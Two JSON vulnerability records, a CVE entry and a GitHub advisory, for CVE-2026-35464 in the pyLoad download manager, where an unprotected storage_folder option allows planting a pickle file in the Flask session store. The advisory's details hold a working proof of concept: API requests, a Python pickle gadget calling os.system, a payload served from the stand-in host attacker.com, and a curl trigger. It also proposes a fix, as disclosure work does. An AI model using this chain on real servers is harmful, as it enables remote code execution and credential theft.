{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35464",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-07T15:12:26.147429Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-07T15:58:59.013Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.5.0b3.dev96"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is a free and open-source download manager written in Python. The fix for CVE-2026-33509 added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie. This vulnerability is fixed with commit c4cf995a2803bdbe388addfc2b0f323277efc0e1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-502",
              "description": "CWE-502: Deserialization of Untrusted Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-07T14:38:02.480Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
        },
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
        },
        {
          "name": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
        },
        {
          "name": "https://www.cve.org/CVERecord?id=CVE-2026-33509",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33509"
        }
      ],
      "source": {
        "advisory": "GHSA-4744-96p5-mp2j",
        "discovery": "UNKNOWN"
      },
      "title": "pyLoad has an incomplete fix for CVE-2026-33509: unprotected storage_folder enables arbitrary file write to Flask session store and code execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35464",
    "datePublished": "2026-04-07T14:38:02.480Z",
    "dateReserved": "2026-04-02T19:25:52.193Z",
    "dateUpdated": "2026-04-07T15:58:59.013Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:43:37Z",
    "nvd_published_at": "2026-04-07T15:17:44Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask\u0027s filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** \u2014 Change download directory to Flask session store:\n\n    POST /api/set_config_value\n    {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** \u2014 Compute the target session filename:\n\n    md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** \u2014 Host and download the malicious pickle payload:\n\n    import pickle, os, struct\n    class RCE:\n        def __reduce__(self):\n            return (os.system, (\"id \u003e /tmp/pyload-rce-success\",))\n    session = {\"_permanent\": True, \"rce\": RCE()}\n    payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n    # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n    POST /api/add_package\n    {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** \u2014 Trigger deserialization (unauthenticated):\n\n    curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n    $ docker exec pyload-poc cat /tmp/pyload-rce-success\n    uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n    ADMIN_ONLY_OPTIONS = {\n        ...\n        (\"general\", \"storage_folder\"),  # ADDED: prevents session poisoning RCE\n        ...\n    }\n\nAlso correct the existing wrong option names:\n\n    (\"webui\", \"ssl_certfile\"),  # FIXED: was \"ssl_cert\" (dead code)\n    (\"webui\", \"ssl_keyfile\"),   # FIXED: was \"ssl_key\" (dead code)",
  "id": "GHSA-4744-96p5-mp2j",
  "modified": "2026-04-07T20:00:04Z",
  "published": "2026-04-04T06:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33509"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)"
}